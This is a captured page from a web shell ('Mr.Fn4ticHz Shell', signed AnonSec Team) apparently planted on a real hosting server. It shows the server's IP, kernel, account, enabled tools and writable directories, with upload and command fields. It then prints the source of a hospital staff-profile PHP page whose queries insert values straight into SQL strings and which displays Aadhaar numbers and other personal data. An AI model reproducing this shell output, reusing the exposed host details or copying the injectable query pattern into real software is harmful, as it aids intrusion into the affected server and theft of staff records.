Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.225.57.164
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/BasicProfile.php
<?php
session_start();
require_once('../DBManager.php');
require_once('../LoginManager.php');
include 'menu.php';
include 'header.php';
?>

<?php 
$narayan=LoginManager::currentUser();
$harilal=LoginManager::getUserTypeByuname("$narayan");
  	$sql ="SELECT * FROM site_users WHERE userno='$harilal'";
		$qsql = mysqli_query($con,$sql);
		if($re = mysqli_fetch_array($qsql)){
		    
		  if($re['usertype']=='RMO'){
		      
		      $sql ="SELECT * FROM dutydr WHERE rmoid='$re[userno]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		    $countries=$con->query("SELECT * FROM `countries` WHERE country_id='$rs[Country]'");
    $RowCountry=$countries->fetch_assoc();
        
          $States=$con->query("SELECT * FROM `states` WHERE state_id='$rs[State]'");
    $RowStates=$States->fetch_assoc();
        
          $city=$con->query("SELECT * FROM `cities` WHERE city_id='$rs[Distict]'");
    $RowCity=$city->fetch_assoc();
		    echo "

		    <div class='content-wrapper'>
    <!-- Content Header (Page header) -->
    <section class='content-header'>
    <div class='center'>
    <table  width='100%'>
 <fieldset><legend>Basic Profile</legend>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Employee Id: </td>
<td width='50%'>$rs[rmoid]</td>
</tr>

<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Admin Id :  </td>
<td width='50%'>$rs[entered_by]</td>
</tr>
<tr>
<td width='50%'> &nbsp;  &nbsp; &nbsp; &nbsp; Contact Number:  </td>
<td width='50%'>$rs[numbers]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Name: </td>
<td width='50%'>$rs[Name]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Father's Name: </td>
<td width='50%'>$rs[FathersName]</td>
</tr>

<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Gender: </td>
<td width='50%'>$rs[Gender]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Email Id : </td>
<td width='50%'>$re[uname]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; DOB : </td>
<td width='50%'>$rs[DOB]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Blood Group :  </td>
<td width='50%'>$rs[BloodGroup] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Nationality :  </td>
<td width='50%'>$rs[Nationality] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Marital Status : </td>
<td width='50%'>$rs[MaritalStatus]  </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Religion : </td>
<td width='50%'>$rs[Religion] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Aadhaar Number : </td>
<td width='50%'>$rs[AadhaarNumber] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Country : </td>
<td width='50%'>$RowCountry[country_name] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; State : </td>
<td width='50%'>$RowStates[state_name] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Distict  : </td>
<td width='50%'>$RowCity[city_name] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Pin Code : </td>
<td width='50%'>$rs[PinCode] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Address :</td>
<td width='50%'>$rs[Address]  </td>
</tr>

</table>
</fieldset>

</div>
 ";
	  echo "</td></tr>";	}
		  }  
		    
		  if($re['usertype']=='Nurse'){
		      
		      $nurse ="SELECT * FROM nurse WHERE Nurseid='$re[userno]'";
		$qnurse = mysqli_query($con,$nurse);
		while($rnurse = mysqli_fetch_array($qnurse))
		{
		    $countries=$con->query("SELECT * FROM `countries` WHERE country_id='$rnurse[Country]'");
    $RowCountry=$countries->fetch_assoc();
        
          $States=$con->query("SELECT * FROM `states` WHERE state_id='$rnurse[State]'");
    $RowStates=$States->fetch_assoc();
        
          $city=$con->query("SELECT * FROM `cities` WHERE city_id='$rnurse[Distict]'");
    $RowCity=$city->fetch_assoc();
		    echo "

		    <div class='content-wrapper'>
    <!-- Content Header (Page header) -->
    <section class='content-header'>
    <div class='center'>
    <table  width='100%'>
 <fieldset><legend>Basic Profile</legend>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Employee Id: </td>
<td width='50%'>$rnurse[Nurseid]</td>
</tr>

<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Admin Id :  </td>
<td width='50%'>$rnurse[entered_by]</td>
</tr>
<tr>
<td width='50%'> &nbsp;  &nbsp; &nbsp; &nbsp; Contact Number:  </td>
<td width='50%'>$rnurse[numbers]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Name: </td>
<td width='50%'>$rnurse[uname]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Father's Name: </td>
<td width='50%'>$rnurse[FathersName]</td>
</tr>

<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Gender: </td>
<td width='50%'>$rnurse[Gender]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Email Id : </td>
<td width='50%'>$re[uname]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; DOB : </td>
<td width='50%'>$rnurse[DOB]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Blood Group :  </td>
<td width='50%'>$rnurse[BloodGroup] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Nationality :  </td>
<td width='50%'>$rnurse[Nationality] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Marital Status : </td>
<td width='50%'>$rnurse[MaritalStatus]  </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Religion : </td>
<td width='50%'>$rnurse[Religion] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Aadhaar Number : </td>
<td width='50%'>$rnurse[AadhaarNumber] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Country : </td>
<td width='50%'>$RowCountry[country_name] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; State : </td>
<td width='50%'>$RowStates[state_name] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Distict  : </td>
<td width='50%'>$RowCity[city_name] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Pin Code : </td>
<td width='50%'>$rnurse[PinCode] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Address :</td>
<td width='50%'>$rnurse[Address]  </td>
</tr>

</table>
</fieldset>

</div>
 ";
	  echo "</td></tr>";	}
		      
		  } 
		  
		   if($re['usertype']=='FrontOffice'){
		      
		      $front ="SELECT * FROM front WHERE frid='$re[userno]'";
		$qfront = mysqli_query($con,$front);
		while($rfront = mysqli_fetch_array($qfront))
		{
		    $countries=$con->query("SELECT * FROM `countries` WHERE country_id='$rfront[Country]'");
    $RowCountry=$countries->fetch_assoc();
        
          $States=$con->query("SELECT * FROM `states` WHERE state_id='$rfront[State]'");
    $RowStates=$States->fetch_assoc();
        
          $city=$con->query("SELECT * FROM `cities` WHERE city_id='$rfront[Distict]'");
    $RowCity=$city->fetch_assoc();
		    echo "

		    <div class='content-wrapper'>
    <!-- Content Header (Page header) -->
    <section class='content-header'>
    <div class='center'>
    <table  width='100%'>
 <fieldset><legend>Basic Profile</legend>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Employee Id: </td>
<td width='50%'>$rfront[frid]</td>
</tr>

<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Admin Id :  </td>
<td width='50%'>$rfront[entered_by]</td>
</tr>
<tr>
<td width='50%'> &nbsp;  &nbsp; &nbsp; &nbsp; Contact Number:  </td>
<td width='50%'>$rfront[numbers]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Name: </td>
<td width='50%'>$rfront[Name]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Father's Name: </td>
<td width='50%'>$rfront[FathersName]</td>
</tr>

<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Gender: </td>
<td width='50%'>$rfront[Gender]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Email Id : </td>
<td width='50%'>$re[uname]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; DOB : </td>
<td width='50%'>$rfront[DOB]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Blood Group :  </td>
<td width='50%'>$rfront[BloodGroup] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Nationality :  </td>
<td width='50%'>$rfront[Nationality] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Marital Status : </td>
<td width='50%'>$rfront[MaritalStatus]  </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Religion : </td>
<td width='50%'>$rfront[Religion] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Aadhaar Number : </td>
<td width='50%'>$rfront[AadhaarNumber] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Country : </td>
<td width='50%'>$RowCountry[country_name] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; State : </td>
<td width='50%'>$RowStates[state_name] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Distict  : </td>
<td width='50%'>$RowCity[city_name] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Pin Code : </td>
<td width='50%'>$rfront[PinCode] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Address :</td>
<td width='50%'>$rfront[Address]  </td>
</tr>

</table>
</fieldset>

</div>
 ";
	  echo "</td></tr>";	}
		      
		  } 
		  
		  if($re['usertype']=='HR'){
		      
		      $HR ="SELECT * FROM hr WHERE hrid='$re[userno]'";
		$qHR = mysqli_query($con,$HR);
		while($rHR = mysqli_fetch_array($qHR))
		{
		    $countries=$con->query("SELECT * FROM `countries` WHERE country_id='$rHR[Country]'");
    $RowCountry=$countries->fetch_assoc();
        
          $States=$con->query("SELECT * FROM `states` WHERE state_id='$rHR[State]'");
    $RowStates=$States->fetch_assoc();
        
          $city=$con->query("SELECT * FROM `cities` WHERE city_id='$rHR[Distict]'");
    $RowCity=$city->fetch_assoc();
		    echo "

		    <div class='content-wrapper'>
    <!-- Content Header (Page header) -->
    <section class='content-header'>
    <div class='center'>
    <table  width='100%'>
 <fieldset><legend>Basic Profile</legend>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Employee Id: </td>
<td width='50%'>$rHR[hrid]</td>
</tr>

<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Admin Id :  </td>
<td width='50%'>$rHR[entered_by]</td>
</tr>
<tr>
<td width='50%'> &nbsp;  &nbsp; &nbsp; &nbsp; Contact Number:  </td>
<td width='50%'>$rHR[numbers]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Name: </td>
<td width='50%'>$rHR[Name]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Father's Name: </td>
<td width='50%'>$rHR[FathersName]</td>
</tr>

<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Gender: </td>
<td width='50%'>$rHR[Gender]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Email Id : </td>
<td width='50%'>$re[uname]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; DOB : </td>
<td width='50%'>$rHR[DOB]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Blood Group :  </td>
<td width='50%'>$rHR[BloodGroup] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Nationality :  </td>
<td width='50%'>$rHR[Nationality] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Marital Status : </td>
<td width='50%'>$rHR[MaritalStatus]  </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Religion : </td>
<td width='50%'>$rHR[Religion] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Aadhaar Number : </td>
<td width='50%'>$rHR[AadhaarNumber] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Country : </td>
<td width='50%'>$RowCountry[country_name] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; State : </td>
<td width='50%'>$RowStates[state_name] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Distict  : </td>
<td width='50%'>$RowCity[city_name] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Pin Code : </td>
<td width='50%'>$rHR[PinCode] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Address :</td>
<td width='50%'>$rHR[Address]  </td>
</tr>

</table>
</fieldset>

</div>
 ";
	  echo "</td></tr>";	}
		      
		  } 
		  
		  
		  
		   if($re['usertype']=='OT'){
		      
		      $OT ="SELECT * FROM ot WHERE otid='$re[userno]'";
		$qOT = mysqli_query($con,$OT);
		while($rOT = mysqli_fetch_array($qOT))
		{
		    $countries=$con->query("SELECT * FROM `countries` WHERE country_id='$rOT[Country]'");
    $RowCountry=$countries->fetch_assoc();
        
          $States=$con->query("SELECT * FROM `states` WHERE state_id='$rOT[State]'");
    $RowStates=$States->fetch_assoc();
        
          $city=$con->query("SELECT * FROM `cities` WHERE city_id='$rOT[Distict]'");
    $RowCity=$city->fetch_assoc();
		    echo "

		    <div class='content-wrapper'>
    <!-- Content Header (Page header) -->
    <section class='content-header'>
    <div class='center'>
    <table  width='100%'>
 <fieldset><legend>Basic Profile</legend>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Employee Id: </td>
<td width='50%'>$rOT[otid]</td>
</tr>

<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Admin Id :  </td>
<td width='50%'>$rOT[entered_by]</td>
</tr>
<tr>
<td width='50%'> &nbsp;  &nbsp; &nbsp; &nbsp; Contact Number:  </td>
<td width='50%'>$rOT[numbers]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Name: </td>
<td width='50%'>$rOT[Name]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Father's Name: </td>
<td width='50%'>$rOT[FathersName]</td>
</tr>

<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Gender: </td>
<td width='50%'>$rOT[Gender]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Email Id : </td>
<td width='50%'>$re[uname]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; DOB : </td>
<td width='50%'>$rOT[DOB]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Blood Group :  </td>
<td width='50%'>$rOT[BloodGroup] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Nationality :  </td>
<td width='50%'>$rOT[Nationality] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Marital Status : </td>
<td width='50%'>$rOT[MaritalStatus]  </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Religion : </td>
<td width='50%'>$rOT[Religion] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Aadhaar Number : </td>
<td width='50%'>$rOT[AadhaarNumber] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Country : </td>
<td width='50%'>$RowCountry[country_name] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; State : </td>
<td width='50%'>$RowStates[state_name] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Distict  : </td>
<td width='50%'>$RowCity[city_name] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Pin Code : </td>
<td width='50%'>$rOT[PinCode] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Address :</td>
<td width='50%'>$rOT[Address]  </td>
</tr>

</table>
</fieldset>

</div>
 ";
	  echo "</td></tr>";	}
		      
		  } 
		  
		  
		    if($re['usertype']=='Lab'){
		      
		      $Lab ="SELECT * FROM addlab WHERE labid='$re[userno]'";
		$qLab = mysqli_query($con,$Lab);
		while($rLab = mysqli_fetch_array($qLab))
		{
		    $countries=$con->query("SELECT * FROM `countries` WHERE country_id='$rLab[Country]'");
    $RowCountry=$countries->fetch_assoc();
        
          $States=$con->query("SELECT * FROM `states` WHERE state_id='$rLab[State]'");
    $RowStates=$States->fetch_assoc();
        
          $city=$con->query("SELECT * FROM `cities` WHERE city_id='$rLab[Distict]'");
    $RowCity=$city->fetch_assoc();
		    echo "

		    <div class='content-wrapper'>
    <!-- Content Header (Page header) -->
    <section class='content-header'>
    <div class='center'>
    <table  width='100%'>
 <fieldset><legend>Basic Profile</legend>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Employee Id: </td>
<td width='50%'>$rLab[labid]</td>
</tr>

<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Admin Id :  </td>
<td width='50%'>$rLab[entered_by]</td>
</tr>
<tr>
<td width='50%'> &nbsp;  &nbsp; &nbsp; &nbsp; Contact Number:  </td>
<td width='50%'>$rLab[numbers]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Name: </td>
<td width='50%'>$rLab[Name]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Father's Name: </td>
<td width='50%'>$rLab[FathersName]</td>
</tr>

<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Gender: </td>
<td width='50%'>$rLab[Gender]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Email Id : </td>
<td width='50%'>$re[uname]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; DOB : </td>
<td width='50%'>$rLab[DOB]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Blood Group :  </td>
<td width='50%'>$rLab[BloodGroup] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Nationality :  </td>
<td width='50%'>$rLab[Nationality] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Marital Status : </td>
<td width='50%'>$rLab[MaritalStatus]  </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Religion : </td>
<td width='50%'>$rLab[Religion] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Aadhaar Number : </td>
<td width='50%'>$rLab[AadhaarNumber] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Country : </td>
<td width='50%'>$RowCountry[country_name] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; State : </td>
<td width='50%'>$RowStates[state_name] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Distict  : </td>
<td width='50%'>$RowCity[city_name] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Pin Code : </td>
<td width='50%'>$rLab[PinCode] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Address :</td>
<td width='50%'>$rLab[Address]  </td>
</tr>

</table>
</fieldset>

</div>
 ";
	  echo "</td></tr>";	}
		      
		  } 
		  
		  
		   if($re['usertype']=='Diagnostic'){
		      
		      $digno ="SELECT * FROM adddigno WHERE dignoid='$re[userno]'";
		$qdigno = mysqli_query($con,$digno);
		while($rdigno = mysqli_fetch_array($qdigno))
		{
		    $countries=$con->query("SELECT * FROM `countries` WHERE country_id='$rdigno[Country]'");
    $RowCountry=$countries->fetch_assoc();
        
          $States=$con->query("SELECT * FROM `states` WHERE state_id='$rdigno[State]'");
    $RowStates=$States->fetch_assoc();
        
          $city=$con->query("SELECT * FROM `cities` WHERE city_id='$rdigno[Distict]'");
    $RowCity=$city->fetch_assoc();
		    echo "

		    <div class='content-wrapper'>
    <!-- Content Header (Page header) -->
    <section class='content-header'>
    <div class='center'>
    <table  width='100%'>
 <fieldset><legend>Basic Profile</legend>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Employee Id: </td>
<td width='50%'>$rdigno[dignoid]</td>
</tr>

<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Admin Id :  </td>
<td width='50%'>$rdigno[entered_by]</td>
</tr>
<tr>
<td width='50%'> &nbsp;  &nbsp; &nbsp; &nbsp; Contact Number:  </td>
<td width='50%'>$rdigno[numbers]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Name: </td>
<td width='50%'>$rdigno[Name]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Father's Name: </td>
<td width='50%'>$rdigno[FathersName]</td>
</tr>

<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Gender: </td>
<td width='50%'>$rdigno[Gender]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Email Id : </td>
<td width='50%'>$re[uname]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; DOB : </td>
<td width='50%'>$rdigno[DOB]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Blood Group :  </td>
<td width='50%'>$rdigno[BloodGroup] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Nationality :  </td>
<td width='50%'>$rdigno[Nationality] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Marital Status : </td>
<td width='50%'>$rdigno[MaritalStatus]  </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Religion : </td>
<td width='50%'>$rdigno[Religion] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Aadhaar Number : </td>
<td width='50%'>$rdigno[AadhaarNumber] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Country : </td>
<td width='50%'>$RowCountry[country_name] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; State : </td>
<td width='50%'>$RowStates[state_name] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Distict  : </td>
<td width='50%'>$RowCity[city_name] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Pin Code : </td>
<td width='50%'>$rdigno[PinCode] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Address :</td>
<td width='50%'>$rdigno[Address]  </td>
</tr>

</table>
</fieldset>

</div>
 ";
	  echo "</td></tr>";	}
		      
		  } 
		  
		
}
		?>
<br><br><br>


 
 
  
       <html>
           <head>
               <style>
                     
       .center {
   border: 1px solid grey;
   text-align:;
}
table {
  border-collapse: separate;
  border-spacing: 0 15px;
}

th {
  background-color: #4287f5;
  color: white;
}

th,
td {
  width: 150px;
   padding: 5px;
}

h2 {
  color: #4287f5;
}
</style>
               
           </head>
    <body>
         <?php ?>
  
		</body>
		</html>

Anon7 - 2022
AnonSec Team